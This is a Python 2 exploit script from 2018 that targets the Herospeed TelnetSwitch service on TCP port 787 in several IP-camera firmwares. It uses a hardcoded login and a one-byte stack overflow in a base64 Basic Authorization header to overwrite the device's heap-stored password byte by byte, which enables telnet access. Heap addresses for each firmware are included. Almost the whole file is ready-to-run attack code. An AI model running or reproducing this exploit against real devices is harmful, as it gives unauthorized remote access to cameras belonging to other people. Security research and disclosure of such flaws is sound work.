#!/usr/bin/env python2.7
#
# Herospeed TelnetSwitch daemon running on TCP/787, for allowing enable of the telnetd.
# Where one small stack overflow allows us to overwrite the dynamicly generated password and enable telnetd.
#
# [Verified]
# 1) Fullhan IPC FH8830_F22_W_7.1.42.1
# 2) Fullhan FH8830_AR0330_FISHEYE_W_7.1.37.5
# 3) HiSilicon 3518EV200_OV9732_W_7.1.25.1, 3519V100_IMX274_W_7.1.39.3
# 4) Ambarella s2l55m_imx123_W_7.1.25.2, S2E66_IMX178_W_7.1.3.4
#
# Author: bashis <mcw noemail eu>, 2018
#
import socket
import select
import sys
import argparse
import base64
import struct
import time
#
# Validate correctness of HOST, IP and PORT
#
class Validate:
def __init__(self,verbose):
self.verbose = verbose
# Check if IP is valid
def CheckIP(self,IP):
self.IP = IP
ip = self.IP.split('.')
if len(ip) != 4:
return False
for tmp in ip:
if not tmp.isdigit():
return False
i = int(tmp)
if i < 0 or i > 255:
return False
return True
# Check if PORT is valid
def Port(self,PORT):
self.PORT = PORT
if int(self.PORT) < 1 or int(self.PORT) > 65535:
return False
else:
return True
# Check if HOST is valid
def Host(self,HOST):
self.HOST = HOST
try:
# Check valid IP
socket.inet_aton(self.HOST) # Will generate exeption if we try with DNS or invalid IP
# Now we check if it is correct typed IP
if self.CheckIP(self.HOST):
return self.HOST
else:
return False
except socket.error as e:
# Else check valid DNS name, and use the IP address
try:
self.HOST = socket.gethostbyname(self.HOST)
return self.HOST
except socket.error as e:
return False
if __name__ == "__main__":
INFO = '\n[Herospeed TelnetSwitch pwn (2018 bashis <mcw noemail eu>)]\n'
rhost = '192.168.57.20' # Default Remote HOST
rport = 787 # Default Remote PORT
BUFFER_SIZE = 1024
try:
arg_parser = argparse.ArgumentParser(
prog=sys.argv[0],
description=('[*] '+ INFO +' [*]'))
arg_parser.add_argument('--rhost', required=True, help='Remote Target Address (IP/FQDN) [Default: '+ rhost +']')
arg_parser.add_argument('--rport', required=False, help='Remote Target HTTP/HTTPS Port [Default: '+ str(rport) +']')
args = arg_parser.parse_args()
except Exception as e:
print INFO,"\nError: {}\n".format(str(e))
sys.exit(1)
print INFO
if args.rport:
rport = int(args.rport)
if args.rhost:
rhost = args.rhost
IP = args.rhost
# Check if RPORT is valid
if not Validate(True).Port(rport):
print "[!] Invalid RPORT - Choose between 1 and 65535"
sys.exit(1)
# Check if RHOST is valid IP or FQDN, get IP back
rhost = Validate(True).Host(rhost)
if not rhost:
print "[!] Invalid RHOST"
sys.exit(1)
timeout = 5
socket.setdefaulttimeout(timeout)
#
# [Payload]
#
LOGIN = "Lucky787" # Hardcoded login
#
# Fullhan IPC FH8830_F22_W_7.1.42.1
# Fullhan FH8830_AR0330_FISHEYE_W_7.1.37.5
#
PASSWD = "\n\n\n\n\n\n\n\n\n\n\n\n" # Our new password, must be exactly 12 char, and must be '\n'
MESSAGE = ''+ LOGIN + ':' + PASSWD +''
BASE64_NULL = "A" * 232 # Decoded as 0x00 with base64 decode
HEAP_PWD = 0x00016c8c # Start of the dynamicly generated password, located on heap
#
# HiSilicon 3518EV200_OV9732_W_7.1.25.1
#
# PASSWD = "AAAAAAAAAAAA" # Our new password, must be exactly 12 char, and must be 'A'
# MESSAGE = ''+ LOGIN + ':' + PASSWD +''
# BASE64_NULL = "A" * 364 # Decoded as 0x00 with base64 decode
# HEAP_PWD = 0x00016990 # Start of the dynamicly generated password, located on heap
#
# HiSilicon 3519V100_IMX274_W_7.1.39.3
#
# PASSWD = "AAAAAAAAAAAA" # Our new password, must be exactly 12 char, and must be 'A'
# MESSAGE = ''+ LOGIN + ':' + PASSWD +''
# BASE64_NULL = "A" * 364 # Decoded as 0x00 with base64 decode
# HEAP_PWD = 0x000267b0 # Start of the dynamicly generated password, located on heap
#
# Ambarella s2l55m_imx123_W_7.1.25.2
#
# PASSWD = "AAAAAAAAAAAA" # Our new password, must be exactly 12 char, and must be 'A'
# MESSAGE = ''+ LOGIN + ':' + PASSWD +''
# BASE64_NULL = "A" * 364 # Decoded as 0x00 with base64 decode
# HEAP_PWD = 0x00014c3c # Start of the dynamicly generated password, located on heap
#
# Ambarella S2E66_IMX178_W_7.1.3.4
#
# PASSWD = "AAAAAAAAAAAA" # Our new password, must be exactly 12 char, and must be 'A'
# MESSAGE = ''+ LOGIN + ':' + PASSWD +''
# BASE64_NULL = "A" * 108 # Decoded as 0x00 with base64 decode
# HEAP_PWD = 0x00014c68 # Start of the dynamicly generated password, located on heap
MESSAGE = base64.b64encode(bytes(MESSAGE))
MESSAGE += BASE64_NULL
#
# Since the stack overflow writing with only one byte, we need overwrite the password one char at the time (looping twelve times)
#
for where in range(0, len(PASSWD)):
OUT = "GET / HTTP/1.0\nAuthorization: Basic {}{}\n\n".format(MESSAGE,struct.pack('<L',HEAP_PWD)[:3])
print "Writing to: {}".format(hex(HEAP_PWD))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((rhost, rport))
s.send(OUT)
time.sleep(0.5)
response = s.recv(BUFFER_SIZE).split()
HEAP_PWD += 0x1 # Next address on heap
if response[1]:
if response[1] == "200":
print "({}) OK, telnetd should be open!".format(response[1])
break